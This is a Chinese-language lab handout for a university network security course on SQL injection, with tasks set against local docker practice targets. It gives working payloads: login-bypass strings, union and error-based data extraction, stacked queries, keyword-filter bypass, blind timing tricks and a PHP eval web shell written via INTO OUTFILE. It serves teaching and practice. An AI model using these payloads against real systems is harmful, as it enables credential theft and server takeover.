【SQL Injection】

预备

```
环境一：
下载地址  https://github.com/FF9118/sql
解压后，dcbuild, dcup 即可运行环境
环境二：
git clone https://github.com/nbsps/CSU_Network_Security_Experiment_Reform.git
docker-compose up -d
注：关闭环境一（dcdown）后,再开启环境二
```

认识

SQL注入攻击

```
SQL 注入（SQL Injection）是发生在 Web 程序中数据库层的安全漏洞，是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理，导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步获取到数据信息。

简而言之，SQL 注入就是在用户输入的字符串中加入 SQL 语句，如果在设计不良的程序中忽略了检查，那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行，攻击者就可以执行计划外的命令或访问未被授权的数据。
```

MySQL系统函数

```
version():返回当前数据库的版本信息
user():返回当前用户
database():返回当前数据库名
Group_concat():将查询结果连接成字符串
@@datadir--数据库路径
@@version_compile_os--操作系统版本
```

判断 Sql 注入点

```
通常情况下，get型传参可能存在 Sql 注入漏洞的 Url 是类似这种形式 ：
http://xxx.xxx.xxx/abcd.php?username=XX`
 对 Sql 注入的判断，主要有两个方面：

- 判断该带参数的 Url 是否存在 Sql 注入？
- 如果存在 Sql 注入，那么属于哪种 Sql 注入？

可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中，一个动态网页中可能只有一个参数，有时可能有多个参数。有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库，那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识，没有进行必要的字符过滤，存在SQL注入的可能性就非常大。

```

万能密码

对于以下查询：

```
SELECT * FROM `user` WHERE uname='$uname' and pwd='$pwd'
```

使用万能密码绕过密码限制：

```
$uname="' or 1='1'#"
根据不同情况还有
$uname="') or 1='1'#"
$uname="\" $pwd=" or 1=1#"
……
```

联合注入

```
适用于：至少未过滤UNION、SELECT关键字
payload:
$pwd="x' UNION SELECT * FROM `user`#"
```

任务

1.SQL回显注入

```
sql注入回显点是指sql查询结果显示在页面上位置，有回显点的sql注入叫做回显点注入，比如一篇文章的标题、作者、时间、内容等等，这些都可能成为回显点。而一个数据库当中有很多的数据表，数据表当中有很多的列，每一列当中存储着数据。我们注入的过程就是先拿到数据库名，在获取到当前数据库名下的数据表，再获取当前数据表下的列，最后获取数据。Mysql 有一个系统数据库 information_schema，存储着所有的数据库的相关信息，一般的，我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxxx'
猜某表的所有列
Select column_name from information_schema.columns where table_name='xxxxx'
获取某列的内容
Select *** from ****

相关查询语句为：
$input_uname=$_GET['username'];
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

开启环境一靶机，访问www.seed-server.com
测试paylaod:
判断字段数：
从1开始不断尝试，直到在登录框的username处输入alice' order by 12#后，提交表单后，出现报错，说明字段数是11
判断显示位：
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11#
利用函数获得相关信息
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,version()#
```

```
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user()#
爆库
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,database()#
爆表
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,group_concat(table_name) from information_schema.tables where table_schema='sqllab_users'#
//用group_concat()实现一个显示位爆出所有相关记录
爆字段
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,group_concat(column_name) from information_schema.columns where table_schema='sqllab_users' AND table_name='credential'#
爆数据
1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,birth from credential where name='ted'#
此时可以获得ted用户的birth值

task1
访问www.seed-server.com
仿照上面的测试payload，实现查看boby用户的nickname
```

2.堆叠注入

```
原理：
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改，注入情况会因为该语句本身的情况而受到相关限制，例如一个select语句，那么我们注入时也只能执行select操作，无法进行增、删、改，其他语句也同理，所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制，其名字顾名思义，就是可以堆一堆sql注入进行注入，这个时候我们就不受前面语句的限制可以为所欲为了。其原理也很简单，就是将原来的语句构造完后加上分号，代表该语句结束，后面在输入的就是一个全新的sql语句了，这个时候我们使用增删查改毫无限制。
使用条件：
堆叠注入的使用条件十分有限，其可能受到API或者数据库引擎，又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用，利用mysqli_multi_query()函数就支持多条sql语句同时执行，但实际情况中，如PHP为了防止sql注入机制，往往使用调用数据库的函数是mysqli_ query()函数，其只能执行一条语句，分号后面的内容将不会被执行，所以可以说堆叠注入的使用条件十分有限，一旦能够被使用，将可能对网站造成十分大的威胁。

此次实验环境中，采用的数据库查询函数是mysqli_multi_query(),故存在堆叠注入的漏洞

task2
访问www.seed-server.com/stacked_query.html
问：如何依靠堆叠注入来登录admin用户
```

(40条消息)【合天网安】SQLi-Labs系列之堆叠注入_hehigoxqc606的博客-CSDN博客

3.defence

在业务开发中，我们应当如何防御sql注入漏洞?

```
1.waf: 和task中出现的过滤手段一样，对危险关键字进行过滤
2.参数化查询
3.ORM框架

在PHP中preg_replace 函数执行一个正则表达式的搜索和替换。
语法：
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
它会搜索 subject 中匹配 pattern 的部分， 以 replacement 进行替换。

```

```
参数说明：
$pattern: 要搜索的模式，可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。
$count: 可选，为替换执行的次数。
如果 subject 是一个数组， preg_replace() 返回一个数组， 其他情况下返回一个字符串。
如果匹配被查找到，替换后的 subject 被返回，其他情况下 返回没有改变的 subject。如果发生错误，返回 NULL。

task3
访问 www.seed-server.com/easy_waf.html，你的账号为alice/seedalice
实验环境中的过滤规则如下：
$input_uname= preg_replace('/or/i',"", $input_uname);       //strip out OR (non case sensitive)
$input_uname= preg_replace('/AND/i',"", $input_uname);      //Strip out AND (non case sensitive)
$input_uname= preg_replace('/union/i',"", $input_uname);    //Strip out union (non case sensitive)
$input_uname= preg_replace('/select/i',"", $input_uname);   //Strip out select (non case sensitive)
编写payload实现绕过，实现成功查看boby用户的salary值
```

(40条消息) SQL注入过滤的绕过 谢公子的博客-CSDN博客 sql注入关键字过滤绕过

4.md5注入

```
观察以下示例：

【mysql】 user表结构：
| id | uname |      pwd      |
|  1 | admin | hash_raw(pwd) |

sql查询语句：
"SELECT * FROM `user` WHERE uname = '$uname' and pwd = '".md5($pwd,true)."'"

【php】 md5($pwd, true):
$pwd: ffifdyop
output: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
=>
SELECT * FROM `user` WHERE uname = 'xxx' and pwd = ''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'

在mysql里面，在用作布尔型判断时，以数字开头的字符串会被当做整型数。
比如password='xxx'or'1xxxxxxxxx'，相当于password='xxx' or 1，也就相当于password='xxx' or true

task4
关闭实验环境一，开启实验环境二后
访问md5.aurora.test后台
问：如何依靠md5函数使用缺陷登录admin账户？
```

参考链接：sql注入-md5(password,true)

5.报错注入

参考链接：sql报错注入常用函数

参考链接：sql注入之报错注入

```
前提：未过滤关键函数、关键字，报错信息可回显

这里重点介绍extractvalue函数：
函数原型：extractvalue(xml_document,Xpath_string)
作用：从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里，因此可以利用。
0x7e='~'
‘~‘可以换成’#’、’$'等不满足xpath格式的字符
extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位

payload:
查数据库名：'and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名：'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名：'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据：'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

task5
访问errori.aurora.test
问：如何依靠报错注入登录admin账户？
```

6.盲注

```
1. 布尔盲注
情形：注入无直接关键信息回显，但存在如登录成功与失败的回显等

示例：
SELECT * from user WHERE name = 'admin' AND (length(database())>8)#

重要函数：
if(exp1,exp2,exp3) 如果 exp1 为真，那么执行 exp2，否则执行 exp3.

步骤：
求当前数据库长度
爆破当前数据库表的ASCII
求当前数据库中表的个数
求当前数据库中其中一个表名的长度
爆破当前数据库中其中一个表名的ASCII
求列名的数量
求列名的长度
爆破列名的ASCII
求字段的数量
求字段内容的长度
求爆破段内容对应的ASCII

task6.1
访问bool.aurora.test
```

```
问：1.通过布尔注入如何登录Admin账户？
2.去掉bool.php源代码处注释，你原来的方法还能奏效吗？应该如何修改脚本？
```

参考链接：sql注入之布尔盲注详解

```
2. 时间盲注
情形：注入无任何回显，可以利用时间盲注观察http response时间正常与过长进行sql结果判断

主要利用函数：
sleep(5): 延迟 5 秒
benchmark(5000000, sha('1')): 进行sha('1') 5000000次
笛卡儿积：SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
rpad、RLIKE、repear: select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';

步骤同布尔盲注

task6.2
访问time.aurora.test，你的账号Alice/123456
问：1.通过时间盲注如何登录Admin账户？
2.去掉time.php源代码处注释，你原来的方法还能奏效吗？应该如何修改脚本？
```

参考链接：sql时间盲注五种延时方法

7.shell

参考链接：sql注入之shell条件与方法

```
条件：
1.web目录具有写权限，能够使用单引号
2.知道网站绝对路径
3.secure_file_priv没有具体值

payload:
1' union select 1,1,1,1,1,"<?php @eval($_GET['g']);?>",3 into outfile '/var/www/html/sqlshell.php'#

task7
访问shell.aurora.test，你的账号Alice/123456
写入一句话木马，访问shell文件，shell.aurora.test/shell文件?g=whoami尝试命令执行
```

参考链接：sql注入getshell的几种方式

拓展阅读

DNSLog

sql注入学习-Dnslog盲注

sql注入之利用DNSlog外带盲注回显

约束攻击

基于约束的SQL攻击

搭建SQLilab实验平台

Linux环境下docker搭建：

使用Docker搭建SQLi-Labs平台

Windows环境下搭建：

sqli-labs靶场的搭建与环境的安装

SQLilab Github下载链接：

https://github.com/Audi-1/sqli-labs

使用SQLMAP进行注入攻击

sqlmap介绍

sqlmap详细使用教程

sqlmap使用教程

安装WAF防御sql注入

免费安全防护软件安全狗安装教程(linux版本)

服务器安全狗-服务器安全软件

绕过WAF进行注入攻击

sql注入安全狗apache最新版绕过

sql注入绕过安全狗4.0

sqlmap脚本绕安全狗